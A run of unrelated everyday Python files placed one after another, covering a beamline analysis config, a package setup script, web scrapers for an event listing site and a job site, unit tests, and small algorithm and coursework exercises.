import os, sys

# Commandgline arguments
from hummingbird import parse_cmdline_args
args = parse_cmdline_args()

# Path to current directory
this_dir = os.path.dirname(os.path.realpath(__file__))
sys.path.append(this_dir)

# Run online
do_online = False
do_autoonline = True

# PSANA
state = {}
state['Facility'] = 'LCLS'

amoopr = False
if do_autoonline:
    import getpass
    if getpass.getuser() == "amoopr":
        do_online=True
        amoopr=True

if do_online:
    state['LCLS/DataSource'] = 'shmem=psana.1:stop=no'
    do_save = False
    do_stack = False
else:
    run_nr = args.lcls_run_number
    if run_nr is None:
        run_nr = 2
    state['LCLS/DataSource'] = 'exp=amol3416:run=%d' %run_nr

state['LCLS/PsanaConf'] = this_dir + '/psana_cfg/pnccd_front.cfg'

# Read events from file
idxfile = None

# INJECTOR MOTORS
# ---------------
injector_x_key = "AMO:PPL:MMS:01.RBV"
injector_z_key = "AMO:PPL:MMS:03.RBV"

# NOZZLE PRESSURES
#-----------------
nozzle_pressure_1_key = "AMO:SDS:PAREG:02:PRESS"
nozzle_pressure_2_key = "AMO:SDS:PAREG:03:PRESS"

# INJECTOR PRESSURES
#-------------------
injector_pressure_1_key = "AMO:LMP:VG:43:PRESS"
injector_pressure_2_key = "AMO:LMP:VG:40:PRESS"
injector_pressure_3_key = ""

# INJECTOR VOLTAGE
#-----------------
injector_voltage_key = "IOC:AMO:HV1:VHS2:CH0:VoltageMeasure"
injector_current_key = "IOC:AMO:HV1:VHS2:CH0:CurrentMeasure"

# ELECTROSPRAY
#----------------
electrospray_key = "AMO:PPL:MMS:18.RBV"

# PULSE LENGTH
pulselength_key = "SIOC:SYS0:ML00:AO820"

# PNCCD DETECTOR
# --------------
pnccd_type = "image"
pnccd_key  = "pnccdFront[%s]" % pnccd_type
gain_mode_key = "PNCCD:FRONT:GAIN"

dx_front  = 73
dy_front  = -3

# PNCCD STAGE
# -----------
pnccd_motorx = "AMO:LMP:MMS:09.RBV"
pnccd_motory_top = "AMO:LMP:MMS:07.RBV"
pnccd_motory_bottom = "AMO:LMP:MMS:08.RBV"
pnccd_motorz = "AMO:LMP:MMS:10.RBV"

# TOF DETECTOR
# ------------
acqiris_type = "ionTOFs"
acqiris_key  = "Acqiris 2 Channel 0"

# MCP DETECTOR
# ------------
mcp_type = "camera"
mcp_key = "mcp"

# KB MIRRORS
# ----------
kb_04_key = "AMO:KBO:MMS:04.RBV"
kb_05_key = "AMO:KBO:MMS:05.RBV"
kb_06_key = "AMO:KBO:MMS:06.RBV"
kb_07_key = "AMO:KBO:MMS:07.RBV"
kb_08_key = "AMO:KBO:MMS:08.RBV"
kb_09_key = "AMO:KBO:MMS:09.RBV"
kb_10_key = "AMO:KBO:MMS:10.RBV"
kb_11_key = "AMO:KBO:MMS:11.RBV"
kb_12_key = "AMO:KBO:MMS:12.RBV"
kb_13_key = "AMO:KBO:MMS:13.RBV"
kb_14_key = "AMO:KBO:MMS:14.RBV"


# -*- coding: utf-8 -*-
from setuptools import setup, find_packages
import os
import sys

name = 'odoo_wsgi'

pjoin = os.path.join
root_path = os.path.dirname(__file__)

v = sys.version_info
if v[:2] < (3, 6):
    error = "ERROR: %s requires Python version 3.5 or above." % name
    print(error, file=sys.stderr)
    sys.exit(1)

here = os.path.abspath(os.path.dirname(__file__))
pkg_root = pjoin(here, name)

packages = []
for d, _, _ in os.walk(pjoin(here, name)):
    if os.path.exists(pjoin(d, '__init__.py')):
        packages.append(d[len(here) + 1:].replace(os.path.sep, '.'))

package_data = {
    'odoo_wsgi': ['addons/*.*'],
    'odoo_wsgi': ['.env'],
}

setup(
    name=name,
    version="1.0.0",
    packages=packages,
    author="camera",
    author_email="941642558@qq.com",
    py_modules=['odoo_kernel_launcher', 'odoo_wsgi_cli'],
    package_data=package_data,
    description="IPython Kernel for Odoo web",
    license='BSD',
    long_description="IPython Kernel for Odoo web",
    platforms="Linux, Mac OS X, Windows",
    install_requires=[
        "click",
        "eventlet",
        "gevent",
        "gevent-websocket",
        "greenlet",
        "ipython >= 7.21.0",
        "jupyter >= 1.0.0",
        "python-socketio",
        "python-dotenv",
    ],
    entry_points='''
        [console_scripts]
        odoo-wsgi-bin=odoo_wsgi_cli:cli
    ''',
    python_requires='>=3.6',
)


from unittest import TestCase

from utils.nested_dict import deep_write, deep_read, deep_delete

class TestNestedDict(TestCase):
    def test_deep_write(self):

        d = {
            "a": 1,
            "b": {
                "c": 2,
                "d": {
                    "e": 3
                }
            }
        }

        deep_write(d, 4, ["b", "d", "f"])
        self.assertTrue(d["b"]["d"]["f"] == 4)

        deep_write(d, 5, ["g"])
        self.assertTrue(d["g"] == 5)

        with self.assertRaises(ValueError):
            deep_write(d, 5, ["b", "c", "g"])

    def test_deep_read(self):
        d = {
            "a": 1,
            "b": {
                "c": 2,
                "d": {
                    "e": 3
                }
            }
        }

        self.assertEqual(deep_read(d, ["b", "d", "e"]), 3)

        with self.assertRaises(ValueError):
            deep_read(d, ["a", "d", "e"])
            deep_read(d, ["c"])

    def test_deep_delete(self):
        d = {
            "a": 1,
            "b": {
                "c": 2,
                "d": {
                    "e": 3
                }
            }
        }

        self.assertIsNotNone(d.get("b").get("d").get("e"), None)
        deep_delete(d, ["b", "d", "e"])
        self.assertIsNone(d.get("b").get("d").get("e"), None)

        with self.assertRaises(ValueError):
            deep_delete(d, ["a", "d", "e"])
            deep_delete(d, ["c"])

        deep_delete(d, ["b"])
        self.assertEqual(["a"], list(d.keys()))


#!/usr/bin/env python
# coding: utf-8
# Events page retrieval from spectable.com
# TO DO:

# Revue du filtrage et extraction des catégories et thèmes
# Verifier titre quand export - présence d'escape characters html ?
# verifier comportement de get_text() pour les descriptions d'événemens (' ' ou '\n')
# title() pour le nom des événements
# Ajouter les informations complémentaires (horaires et prix) à la description de l'événement
# Organisateur et numero de téléphone
# Ajouter département à partir du code postal

import codecs
import requests
from bs4 import BeautifulSoup
import csv
import html
import re
from datetime import date
import tribe_events

debug = 0

# We are looking for the following attributes in the page - Beware of character coding - ensure that the shell running python uses the same character encoding as the text editor of this script !!
EventAttr = [   'EventName', 'EventType', 'EventThemes', 'EventDates',
                'StartDate', 'EndDate', 'StartTime', 'EndTime',
                'EventCost', 'EventCurrency',
                'VenueName','VenueAddress','VenueZipCode','VenueCity', 'VenueCountry', 'ShowGoogleMap','ShowGoogleMapLink',
                'EventDescription',
                'ImageURL','ImageSrc',
                'Horaires', 'EventPricing', 'AddInfo', 'EventWebSite']
EventFileName = 'SpectableEvents.csv'

VenueAttr = [   'VenueName','VenueAddress','VenueZipCode','VenueCity', 'VenueCountry', 'ShowGoogleMap','ShowGoogleMapLink' ]
VenueFileName = 'SpectableVenues.csv'

MainURL='https://www.spectable.com/ile-de-france/agenda-culturel/exposition/n_61-l_35.php'

#   Cost parsing
#   Returns the highest number in string
#   Returns '0' ig contains 'Grat' or 'Lib'

def parse_cost(costing) :
    cost = 0

    if (costing is None or costing == '') :
        return ''

    list=re.findall('[0-9]+\s*(?=[€eE])|\s*[0-9]?[0-9]\s*$', costing)
    if ( len(list) == 0 ) :
        if ( re.match('.*[Gg][Rr][Aa][Tt].*|.*[Ll][Ii][Bb].*', costing) ):
            return '0' #Gratuit
        else :
            return ''  #Cost unknown

    for item in list :
        value=int(item)
        if ( value > cost ) :
            cost = value
    return str(cost)

#   Time parsing
#   Can recognize expressions like :
#       10h à 19h30
#       10-19H
#       10:30 20:30
#   But not
#       10-19
def parse_timing(timing) :
    start_time = '23:59'
    end_time = '00:00'

    list=re.findall('[0-2]?[0-9]\s*[Hh:]\s*[0-5][0-9]|[0-2]?[0-9]\s*[Hh]|[0-2]?[0-9]\s*(?:[àA-])', timing)
    if ( len(list) == 0 ) :
        return ['', '']

    for item in list :
        # normalize the time
        hours = minutes = 0
        found_hours = False

        fields = re.split('\D', item)
        for field in fields :
            if ( field != '' ) :
                if found_hours == False :
                    hours = int(field)
                    found_hours = True
                else :
                    minutes = int(field)

        time = '{:02d}:{:02d}'.format(hours, minutes)

        if (time < start_time ):
            start_time = time
        if ( time > end_time and time < '23:59' ) :
            end_time = time

    return [ start_time, end_time ]

#   Dates parsing
#   the dates formats recognized are of the following types
#       Le 23 juin 2018
#       Du 10 avril 2018 au 14 avril 2018
#   This fonction takes as parameters
#       a string containing the dates
#   This function returns
#       a list of two dates or en empty list
def parse_dates(dates) :
    month_table = { 'JANVIER' : 1, 'JAN' : 1,
                    'FÉVRIER' : 2,'FEVRIER' : 2,'FEV' : 2,
                    'MARS' : 3, 'MAR' : 3,
                    'AVRIL' : 4, 'AVR' : 4,
                    'MAI' : 5,
                    'JUIN': 6, 'JUN' : 6,
                    'JUILLET' : 7, 'JUL' : 7,
                    'AOUT' : 8, 'AOÛT' : 8, 'AOU' : 8,
                    'SEPTEMBRE' : 9, 'SEP' : 9, 'SEPT' : 9,
                    'OCTOBRE' : 10, 'OCT' : 10,
                    'NOVEMBRE' : 11, 'NOV' : 11,
                    'DÉCEMBRE' : 12, 'DECEMBRE' : 12 , 'DEC' : 12 }
    day = month = year= 0
    date = [[0,0,0],[0,0,0]]
    start_date = end_date = ''
    index = 0

    for string in dates.split() :
        string = string.upper()
        if ( string in [ 'DE', 'A', 'LE', 'DU' ] ) :
             continue
        if ( string in [ 'LUNDI', 'MARDI', 'MERCREDI', 'JEUDI', 'VENDREDI', 'SAMEDI', 'DIMANCHE'] ) :
             continue
        if ( string in month_table ) :
             month = month_table[string.upper()]
        if ( string.isdecimal() ) :
            number = int(string)
            if ( number > 0 and number < 32 ) :
                day = number
                continue
            if ( number > 2010 and number < 2030 ) :
                year = number
        if ( day > 0 and month > 0 and year > 0 ) :
             date[index] = [ year, month, day ]
             index = index+1
             day = month = year = 0
        if ( index > 1 ) :
            break

    if ( index >= 1 ) :
        end_date = start_date = '%04d' %date[0][0] + '/'+ '%02d' %date[0][1] + '/' + '%02d' %date[0][2]
    if ( index > 1 ) :
        end_date = '%04d' %date[1][0] + '/' + '%02d' %date[1][1] + '/' + '%02d' %date[1][2]
    # Verify that start_date precedes end_date

    if ( debug ):
        print(dates+"="+start_date+":"+end_date)

    return [ start_date, end_date ]

#
#   spectable_events
#   This class regroups all functions that allow to parse event from spectable.com
class spectable_events :
    event_types = [ 'Expositions' ]    # type of events ex: Exposition
    event_themes = ['Peinture', 'Sculpture', 'Modelage', 'Autres', 'Estampe', 'Salons']    # Focus of events ex: Peinture, Sculpture
    main_url = ''
    current_url = ''
    next_url = ''
    soup = None
    event = None

    # Retrieve the content of the event described in a given URL
    def get_event(self, url) :
        infomap = {
            'Horaires'  : 'Horaires',
            'Tarifs'    : 'EventPricing',
            'A savoir'  : 'AddInfo',
            'Sur le net': 'EventWebSite',
            }           # Traduction table for additional/optional informations
        data = {}
        title = event_type = event_theme = ''
        today=date.today()

        if ( debug ):
            print(url)

        # Retrieve the page for the URL
        page = requests.get(url)
        if page.status_code > 200 :
            print(url+ ": Erreur "+page.status_code)
            return data

        # Requests does not always recognize the right encoding so we force it
        page.encoding='utf-8'

        # Parse the page
        soup = BeautifulSoup(page.text, 'html.parser')
        if ( debug ) :
            print(soup.prettify())

        # Retrieve the title of the page
        title=soup.h1
        if ( title is not None ) :
            title = html.unescape(title.string)
        else :
            return []

        if ( debug ) :
            print(title)

        # Retrieve topic of expositions
        for topic in soup.find_all('div', class_='sous_poucet') :
            category = topic.get_text(' ')
            if ( debug ) :
                print (category)

        # Determine if this is an interesting category for us
        for item in category.split() :
            if ( item in self.event_types ) :
                event_type = item

            if ( item in self.event_themes ) :
                event_theme += item + " "

        # if the event does not belong to the required nature and theme, we stop here
        #if ( len(event_type) == 0 or len(event_theme) == 0 ):
        #   return []

        try :
            dates = venue = address = city = image = image_name = image_url = description = start_time = end_time = cost = ''

            # Retrieve the dates of the event
            header=soup.h1.find_next('header')
            dates_src=header.find_next('time')
            dates=dates_src.get_text().strip()
            if (debug ) :
                print(dates)

            # extract the start_date and end_date
            date_range = parse_dates(dates)
            start_date = date_range[0]
            end_date = date_range[1]
            if ( debug ) :
                print(dates+">>"+start_date+":"+end_date)

            # retrieve the venue name
            venue_src=dates_src.find_next('a')
            venue=venue_src.get_text()
            if ( debug ) :
                print(venue)
            # and the address
            address_src=dates_src.find_next('span')
            if address_src is not None :
                address=address_src.get_text().strip()
            if ( debug ) :
                print(address)
            # With the City name and Zip Code
            city_src=venue_src.find_next('a')
            if city_src is not None :
                city = city_src.get_text()
                zip_pos = city.find("(")
                zip_code = city[zip_pos+1:zip_pos+6]
                city = city[0:zip_pos]
            if ( debug ) :
                print (city + "[" + zip_code+"]")

            # Locate the image associated with the event
            figure=header.find_next('figure')
            image_src=figure.find_next('img')
            if image_src is not None :
                image=image_src.get('src')
                if ( image.startswith('http') is False ) :
                    image = ''
                    image_url = ''
                else :
                    # determine file extension
                    pos_extension = image.rfind('.')
                    file_extension = image[pos_extension:]

                    # Replace all nom alphanumeric characters in the title by '_' to derive a new image name
                    image_name = re.sub('[^0-9a-zA-Zàçéèêëîöüù]+','_', title)+file_extension
                    # And construct the full name of the image after it is loaded as a media on dibutade.fr
                    folder='{:d}/{:02d}/'.format(today.year, today.month)
                    image_url = 'https://dibutade.fr/wp-content/uploads/'+folder+image_name

            # And the description of the event
            description_src=figure.find_next('p')
            if description_src is not None :
                description=description_src.get_text(' ')

            # Then find the additional informations on the page
            for info in soup.find_all('h3') :
                if ( debug ) :
                    print(info.text)
                if ( info.text in infomap ) :
                    info_data=info.find_next('p')
                    if info_data is not None :
                        if ( debug ) :
                            print(">>"+info_data.get_text())

                        data[infomap[info.text]]=info_data.get_text(' ')
                        if info.text == 'Horaires' :
                            times = parse_timing(info_data.get_text(' '))
                            start_time = times[0]
                            end_time = times[1]
                        if info.text == 'Tarifs' :
                            cost = parse_cost(info_data.get_text(' '))
        except :
            print("-- Erreur parsing data ---")
            print(soup.prettify())
            return []

        data['EventName']=title
        data['EventType']=event_type
        data['EventThemes']=event_theme
        data['EventDates']=dates
        data['StartDate']=start_date
        data['EndDate']=end_date
        data['VenueName']=venue
        data['VenueAddress']=address
        data['VenueZipCode']=zip_code
        data['VenueCity']=city
        data['VenueCountry']='France'
        data['EventDescription']=description
        data['ImageSrc']=image
        data['ImageName']=image_name
        data['ImageURL']=image_url
        data['StartTime']= start_time
        data['EndTime']=end_time
        data['EventCost']=cost
        data['EventCurrency']='€'
        data['ShowGoogleMap']='TRUE'
        data['ShowGoogleMapLink']='TRUE'

        del page

        return data

    # Method to display the next 'useful' event in the collection
    def next_event(self) :
        if ( self.event is None ) : # First time initialization
            # Initialize the page
            self.next_url = self.main_url
        else :
            self.event = self.event.find_next('article', class_='a')

        # While there are pages to come
        while (self.next_url != '') :
            # Search for links to events in the current page
            while ( self.event is not None ) :
                header = self.event.find_next('header')
                if ( debug ):
                    print (header.prettify())
                url = header.a.get('href')
                if ( debug ) :
                    print(url)
                if ( url.startswith('https://www.spectable.com') ) :
                    data=self.get_event(url)
                    if ( len(data) > 0 ):
                        if ( debug ) :
                            for item in data :
                                if ( item == 'Description' ) :
                                    continue
                                print (item.ljust(15) +": " + data[item])
                                print ('========================= ooo =========================')
                        return data
                self.event = self.event.find_next('article', class_='a')

            # If an interesting event has not been found - move to the next page
            self.current_url = self.next_url
            page = requests.get(self.current_url)
            if page.status_code > 200 :
                print(self.current_url+ ": Erreur "+page.status_code)
                return {}
            page.encoding='utf-8'

            self.soup = BeautifulSoup(page.text, 'html.parser')
            if ( debug ) :
                print(self.soup.prettify())
                Wait=input("Appuyez sur une touche")

            # find the next page URL
            next_page=self.soup.find('div', class_='n ')
            if (next_page is None ) :
                self.next_url = ''
                return None
            else :
                self.next_url=next_page.a.get('href')

            # Find the title of the page - serving as a reference to fetch the next article
            self.event = self.soup.find('article', class_='a')
            if ( self.event is None ) :
                return None
        self.current_url=''
        return None

    def __init__(self, region='ile-de-france', event_type = 'exposition', filter = []) :

        region_code = {
                      'corse' : 'l_46' ,
                      'nord-pas-de-calais' : 'l_40' ,
                      'picardie' : 'l_42' ,
                      'haute-normandie' : 'l_34' ,
                      'limousin' : 'l_37' ,
                      'bretagne' : 'l_31' ,
                      'champagne-ardenne' : 'l_149' ,
                      'lorraine' : 'l_38' ,
                      'alsace' : 'l_26' ,
                      'franche-comte' : 'l_33' ,
                      'ile-de-france' : 'l_35' ,
                      'centre' : 'l_32' ,
                      'auvergne' : 'l_28' ,
                      'bourgogne' : 'l_30' ,
                      'pays-de-la-loire' : 'l_41' ,
                      'basse-normandie' : 'l_29' ,
                      'aquitaine' : 'l_27' ,
                      'midi-pyrenees' : 'l_39' ,
                      'provence-alpes-cote-d-azur' : 'l_44' ,
                      'rhone-alpes' : 'l_45' ,
                      'poitou-charentes' : 'l_43' ,
                      'languedoc-roussillon' : 'l_36' ,
                      'dom-tom' : 'l_47' }

        event_code = {
                      'concert/musique' : 'n_62',
                      'spectacle/danse' : 'n_301',
                      'theatre' : 'n_63',
                      'exposition' : 'n_61',
                      'exposition/peinture' : 'n_305',
                      'exposition/photo' : 'n_306',
                      'exposition/sculpture-modelage' : 'n_307',
                      'exposition/estampe' : 'n_3041',
                      'salon-foire' : 'n_1987',
                      'spectacle/enfant' : 'n_300',
                      'spectacle/cinema-audiovisuel' : 'n_2427',
                      'spectacle/art-rue-piste' : 'n_302',
                      'spectacle/humour-cabaret' : 'n_303',
                      'scene-ouverte-jam-session' : 'n_3251',
                      'conferences-rencontres' : 'n_3257',
                      'animations-locales' : 'n_3004' }
        if event_type in event_code :
            event_slug = event_type+'/'+event_code[event_type]
        else :
            event_slug = 'n_2'      # All kind of events

        if ( region in region_code ):
            self.main_url = 'https://www.spectable.com/' + region + '/agenda-culturel/' + event_slug + '-' + region_code[region] +'.php'
        else :
            self.main_url = 'https://www.spectable.com/agenda-culturel/' + event_slug +'.php'

        print(self.main_url)

#
#   Save the venues in a CSV file
def file_venues(venues, tribe_events) :

    with codecs.open(VenueFileName, 'w', 'utf-8') as csv_file :
        writer = csv.DictWriter(csv_file, VenueAttr, restval='', extrasaction='ignore', delimiter=',', quotechar='"', quoting=csv.QUOTE_NONNUMERIC)

        writer.writeheader()

        # Write the venues
        for name in venues :
            # Find if venue already exist in 'dibutade.fr'
            existing = False
            matching_venues = tribe_events.get_venues_by_name(name)
            for venue in matching_venues :
                existing = True

            if ( existing is False ) :
                writer.writerow(venues[name])

if __name__ == '__main__':

    venues = {}

    # Initialize the class that accesses the events present on dibutade.fr
    t=tribe_events.tribe_events('https://dibutade.fr')

    # Initialize the spectable_events class
    s=spectable_events(region='ile-de-france',event_type='exposition')

    # Open the CSV file that will contain the events
    with codecs.open(EventFileName, 'w', "utf-8") as csv_file :
        writer = csv.DictWriter(csv_file, EventAttr, restval='', extrasaction='ignore', delimiter=',', quotechar='"', quoting=csv.QUOTE_NONNUMERIC)

        # Write header row in the csv file
        writer.writeheader()

        # Retrieve the first event on Spectable
        data = s.next_event()
        while (data is not None ) :
            existing = False

            # Check if the event is already on dibutade.fr
            matching_events = t.get_events_by_name(data['EventName'])
            for event in matching_events :
                if ( debug ) :
                    print(">>"+html.unescape(event['title'])+' existing in dibutade.fr')
                existing = True

            if ( existing is False ) :
                # Show event
                for item in data :
                    print (item.ljust(15) +": " + data[item])
                print ('========================= ooo =========================')

                # If not existing, ask if we want to integrate this new event ...
                answer=input("Voulez-vous intégrer cet événement ? ")
                #answer='y'
                if ( answer == 'o' or answer == 'O' or answer == 'y' or answer == 'Y' or answer == '' ) :
                    # Save data in Events CSV file
                    writer.writerow(data)

                    # Retrieve the picture of the event and save it the Images folder
                    if ( data['ImageSrc'] != '' ) :
                        img = requests.get(data['ImageSrc'], stream=True)
                        if (img.status_code <= 200 ) :
                            with open("./Images/"+data['ImageName'], 'wb') as img_file :
                                    img_file.write(img.content)
                        del img

                    # Save the Venue informations for later
                    venue = {}
                    for item in VenueAttr :
                        venue[item] = data[item]
                    venues[data['VenueName']]=venue

            # Move to the next event
            data = s.next_event()

        # Save the venues
        file_venues(venues, t)


o = int(input())
for _ in range(o):
    y = list(map(int, input().split()))
    x = (y[1] + y[2] - 1) % y[0]
    if y[1]+y[2] < y[0]:
        print((y[1] + y[2]-1))
    elif x == 0:
        print(y[0])
    else:
        print(x)


from typing import List

def treesHit(slope: List[List[bool]]) -> int:
    x = 0
    n = len(slope[0])
    result = 0
    for row in slope:
        result += row[x]
        x += 3
        x %= n
    return result

if __name__ == "__main__":
    with open('./slope.txt') as f:
        slope = [[c == '#' for c in row.strip()] for row in f]

    trees = treesHit(slope)

    print(trees)


import re,json
from lxml import etree
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as ec
from selenium.webdriver.common.by import By

class BossSpider(object):
    driver_path = '/home/zh/Downloads/chromedriver'
    base_url = 'https://www.zhipin.com'
    job = []

    def __init__(self):
        self.driver = webdriver.Chrome(executable_path=self.driver_path)
        self.url = 'https://www.zhipin.com/c100010000/?query=python&page=1&ka=page-1'

    def run(self):
        self.driver.get(self.url)
        while 1:
            source = self.driver.page_source
            WebDriverWait(driver=self.driver, timeout=10).until(
                ec.presence_of_element_located((By.XPATH, '//a[@class="next"]'))
            )
            self.list_page(source)
            next_button = self.driver.find_element_by_class_name("next")
            if 'next disabled' in next_button.get_attribute('class'):
                break
            else:
                next_button.click()
                print("*"*50)

    def list_page(self, source):
        html = etree.HTML(source)
        urls = html.xpath('//div[@class="info-primary"]//a/@href')
        for url in urls:
            url = self.base_url + url
            self.get_detail(url)

    def get_detail(self, url):
        self.driver.execute_script("window.open('%s')" % url)
        self.driver.switch_to_window(self.driver.window_handles[1])
        source = self.driver.page_source
        self.parse_page(source)
        self.driver.close()
        self.driver.switch_to_window(self.driver.window_handles[0])

    def parse_page(self, source):
        html = etree.HTML(source)
        name = html.xpath('//div[@class="name"]/h1/text()')[0]
        salary = html.xpath('//span[@class="badge"]/text()')[0].strip()
        request = html.xpath('//*[@id="main"]/div[1]/div/div/div[2]/p/text()')
        city = request[0]
        experience = request[1]
        education = request[2]
        company = html.xpath('//*[@id="main"]/div[1]/div/div/div[3]/h3/a/text()')[0]
        job_describe = "".join(html.xpath('//*[@id="main"]/div[3]/div/div[2]/div[3]/div[1]/div/text()')).strip()
        info = {
            '职位': name,
            '薪水': salary,
            '城市': city,
            '经验': experience,
            '学历': education,
            '公司': company,
            '职位信息':job_describe
        }
        self.job.append(info)
        # with open("python职位.json", 'w', encoding='utf-8') as fp:
        #     json.dump(self.job, fp)

if __name__ == '__main__':
    spider = BossSpider()
    spider.run()


__author__ = 'Daniel'
import sys

class Solution:
    def calculateMinimumHP(self, dungeon):

        m = len(dungeon)
        n = len(dungeon[0])

        F = [[sys.maxint for _ in xrange(n+1)] for _ in xrange(m+1)]
        for i in xrange(m-1, -1, -1):
            for j in xrange(n-1, -1, -1):
                if i == m-1 and j == n-1:
                    F[i][j] = max(1, 1-dungeon[i][j])
                else:
                    path = min(F[i+1][j], F[i][j+1])
                    F[i][j] = max(1, path-dungeon[i][j])

        return F[0][0]

    def calculateMinimumHP_error(self, dungeon):

        m = len(dungeon)
        n = len(dungeon[0])
        if m == 1 and n == 1:
            return 1-min(0, dungeon[0][0])

        F = [[-sys.maxint-1 for _ in xrange(n+1)] for _ in xrange(m+1)]
        for i in xrange(1, m+1):
            for j in xrange(1, n+1):
                if i == 1 and j == 1:
                    F[i][j] = dungeon[i-1][j-1]
                else:
                    F[i][j] = max(F[i-1][j], F[i][j-1])+dungeon[i-1][j-1]
                    F[i][j] = min(F[i][j], dungeon[i-1][j-1])

        return 1-F[-1][-1]

if __name__ == "__main__":
    assert Solution().calculateMinimumHP([[-3, 5]]) == 4
    assert Solution().calculateMinimumHP([[2, 1], [1, -1]]) == 1


#This script converts the default output of palindrover with individual arms into new annotation where both arms and spacer are merged into a single entry

import sys

if len(sys.argv) > 1:
    input_name = sys.argv[1]
    print("Input name:", input_name)
    with open(input_name, 'r') as input_file, open((input_name+".palindrover.bed"), 'w') as output_file:
        lines = input_file.readlines()
        for i in range(0, len(lines), 2):
            #print(i)
            line1 = lines[i].strip().split('\t')
            line2 = lines[i+1].strip().split('\t')
            #print(line1)
            #print(line2)
            merged_line = (line1[0] + "\t" + line1[1] + "\t" + line2[2])
            #print(merged_line)
            output_file.write(merged_line + '\n')
    print("Output name:", (input_name+".palindrover.bed"))
else:
    print("No input name provided.")


# t = int(input())
# stack1 = []
# # stack2 = []
# greatest = 0
# for i in range(t):
#     line = input().split()
#     if(int(line[0]) == 1):
#         x = int(line[1])
#         if(x>greatest):
#             stack1.append(2*x - greatest)
#             greatest = x
#         else:
#             stack1.append(x)
#
#     elif(int(line[0]) == 2):
#         y = stack1.pop()
#         if(y > greatest):
#             greatest = 2*greatest - y
#
#     else:
#         print(greatest)

def isBalanced(s):
    ans = 'YES'
    stack = []
    for i in range(len(s)):
        if(s[i] == '(' or s[i] == '{' or s[i]== '['):
            stack.append(s[i])

        else:
            x = stack.pop()
            if(s[i]==')'):
                if(x != '('):
                    ans = 'NO'
                    break
            elif(s[i]=='}'):
                if(x != '{'):
                    ans = 'NO'
                    break
            else:
                if(x != '['):
                    ans = 'NO'
                    break

    return(ans)

print(isBalanced("{[()]}"))


from textx.metamodel import metamodel_from_file
from textx.export import metamodel_export, model_export
import pydot
import os

from JSD.settings import BASE_DIR

def execute(path, grammar_file_name, example_file_name, export_dot, export_png):
    """U svrhe brzeg testiranja, metoda koja prima putanju do foldera, naziv fajla gde je gramatika i naziv fajla gde je
        primer programa u nasem jeziku i indikator da li da se eksportuju .dot i .png fajlovi"""

    meta_path = os.path.join(path, grammar_file_name)
    meta_name = os.path.splitext(meta_path)[0]
    metamodel = metamodel_from_file(meta_path)

    if export_dot:
        metamodel_export(metamodel, meta_name + '.dot')
        if not export_png:
            return
        pydot.graph_from_dot_data(meta_name + '.dot')

    model_path = os.path.join(path, example_file_name)
    model_name = os.path.splitext(model_path)[0]
    model = metamodel_from_file(model_path)

    if export_dot:
        model_export(model, model_name + '.dot')
    if export_png:
        pydot.graph_from_dot_file(model_name + '.dot')
        # graph[0].write_png(model_name + '.png')

    return model

def execute_for_web(path, grammar_file_name, query, export_dot, export_png):
    meta_path = os.path.join(path, grammar_file_name)
    meta_name = os.path.splitext(meta_path)[0]
    metamodel = metamodel_from_file(meta_path)

    if export_dot:
        metamodel_export(metamodel, meta_name + '.dot')
        if export_png:
            pydot.graph_from_dot_file(meta_name + '.dot')
            # graph[0].write_png(meta_name + '.png')

    model = metamodel.model_from_str(query)
    ""
    if BASE_DIR.__contains__('/'):
        model_name = path + '/query'  # linux
    else:
        model_name = path + '\query'  # windows

    if export_dot:
        model_export(model, model_name + '.dot')
    if export_png:
        pydot.graph_from_dot_file(model_name + '.dot')
        # graph[0].write_png(model_name + '.png')

    return model


# 2. Dado un grafo no dirigido con personajes de la saga Star Wars, implementar los
# algoritmos necesarios para resolver las siguientes tareas:

from grafo import Grafo
from random import randint
grafo_StarWars = Grafo(dirigido=False)

# a) cada vértice debe almacenar el nombre de un personaje, las aristas representan la
# cantidad de episodios en los que aparecieron juntos ambos personajes que se
# relacionan;
# d) cargue al menos los siguientes personajes: Luke Skywalker, Darth Vader,
# Yoda, Boba Fett, C-3PO, Leia, Rey, Kylo Ren, Chewbacca, Han Solo, R2-D2, BB-8.
star_wars_char = ["Luke Skywalker", "Darth Vader", "Yoda", "Boba Fett", "C 3PO", "Princess Leia", "Rey", "Kylo Ren", "Chewbacca", "Han Solo", "R2 D2", "BB 8"]

for i in star_wars_char:
    grafo_StarWars.insert_vertice(i)

j=0
for i in star_wars_char:
    position = grafo_StarWars.search_vertice(i)
    punto = grafo_StarWars.get_element_by_index(position)
    if punto[1].size() < 4:
        k = 0
        while j == 0:
            if k >= len(star_wars_char):
                j=1
            else:
                place = star_wars_char[k]
                positionb = grafo_StarWars.search_vertice(place)
                puntob = grafo_StarWars.get_element_by_index(positionb)
                checker = grafo_StarWars.is_adyacent(punto[0],puntob[0])
                grafo_StarWars.mark_as_not_visited()
                if puntob[1].size() < 3 and punto[0] != puntob[0] and checker == False:
                    value = randint(1, 20)
                    grafo_StarWars.insert_arist(punto[0], puntob[0], value)
                    if punto[1].size() == 3:
                        j=1
                k += 1
        j=0

grafo_StarWars.barrido()

# b) hallar el árbol de expansión minino y determinar si contiene a Yoda;
# c) determinar cuál es el número máximo de episodio que comparten dos personajes, y quienes son.

tree_min = grafo_StarWars.kruskal()
i=0
max_value = 0
max_node = list
for tree in tree_min:
    print("Arbol Minimo")
    for node in tree.split(";"):
        value = node.split("-")
        print(node)
        if value[0]=="Yoda" or value[1]=="Yoda":
            i = 1
        if int(value[2])>max_value:
            max_node = value

    if i == 1:
        print()
        print("El arbol de expansion minimo contiene a Yoda")
        print()
        print(f"Esta es la arista de valor maximo {max_node[0]} y {max_node[1]} comparten {max_node[2]} episodios")


# Get api classes

class ProjectDaysTotalCostClass(object):
    def __init__(self, project_days, total_cost):
        self.project_days = project_days
        self.total_cost = total_cost

class EmployeePriceClass(object):
    def __init__(self, name, price):
        self.name = name
        self.price = price

class MachinePriceClass(object):
    def __init__(self, name, cost, machine_id):
        self.name = name
        self.cost = cost
        self.machine_id = machine_id

class ProjectDayDetailsClass(object):
    def __init__(self, date, employees, machines, materials_cost, sundries_cost, daily_cost, employee_cost, machine_cost, mat_sun_cost):
        self.date = date
        self.employees = employees
        self.machines = machines
        self.materials_cost = materials_cost
        self.sundries_cost = sundries_cost
        self.daily_cost = daily_cost
        self.employee_cost = employee_cost
        self.machine_cost = machine_cost
        self.mat_sun_cost = mat_sun_cost

class ProjectDayPostClass(object):
    def __init__(self, project_id, date, employees, machines, materials_cost, sundries_cost):
        self.project_id = project_id
        self.date = date
        self.employees = employees
        self.machines = machines
        self.materials_cost = materials_cost
